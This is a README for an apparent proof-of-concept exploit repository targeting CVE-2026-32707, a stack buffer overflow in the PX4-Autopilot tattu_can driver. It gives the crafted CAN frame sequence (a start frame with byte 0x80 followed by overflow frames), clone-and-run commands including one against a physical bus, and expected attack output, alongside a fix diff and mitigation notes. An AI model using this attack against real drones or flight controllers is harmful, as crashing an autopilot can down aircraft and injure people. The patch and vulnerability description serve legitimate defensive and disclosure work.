
Proof-of-concept exploit for CVE-2026-32707, a stack buffer overflow in the PX4-Autopilot tattu_can driver, causing denial of service via crafted CAN frames.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
This repository contains a proof‑of‑concept (PoC) exploit for CVE‑2026‑32707, a stack‑based buffer overflow in the tattu_can driver of the PX4‑Autopilot flight controller firmware (versions ≤ 1.17.0‑rc1). The vulnerability resides in the multi‑frame message assembly routine: when reassembling a Tattu12SBatteryMessage structure on the stack, the driver performs unbounded memcpy() operations without checking the cumulative offset against the buffer size (48 bytes). An attacker with the ability to inject CAN frames into the same bus can trigger the overflow, causing a stack corruption and subsequent crash (Denial of Service) of the PX4 process.
sequenceDiagram
participant Attacker as Attacker (CAN Node)
participant CANbus as CAN Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Start frame (DLC=8, data[7]=0x80)
CANbus->>PX4: Start-of-transfer received
PX4->>PX4: tattu_message buffer (48 bytes)<br/>Copy offset=5 bytes
loop Overflow frames (7x)
Attacker->>CANbus: Overflow frame (DLC=8, payload 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Final overflow frame (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → STACK OVERFLOW
PX4-->>PX4: Crash (segfault / hard fault)
Note over PX4: Denial of Service
tattu_can driver enabled3f04b7a)python-can libraryCAP_NET_RAW) to send raw CAN framescan0 or virtual vcan0)# Clone the repository
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# Install python-can
pip3 install python-can
# (Optional) Create a virtual CAN interface for testing
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# Exploit via virtual CAN interface (for simulation/testing)
sudo python3 exploit.py vcan0
# Exploit via physical CAN bus
sudo python3 exploit.py can0
0x80, which signals the driver to begin assembling a new Tattu12SBatteryMessage and copies the first 5 bytes into the stack buffer.memcpy() that writes past the buffer boundary, corrupting the stack frame.[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.
tattu_can driver if not required (tattu_can stop or remove from build).3f04b7a):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aThis proof‑of‑concept is provided for educational and security testing purposes only. Use it only on systems you own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this code.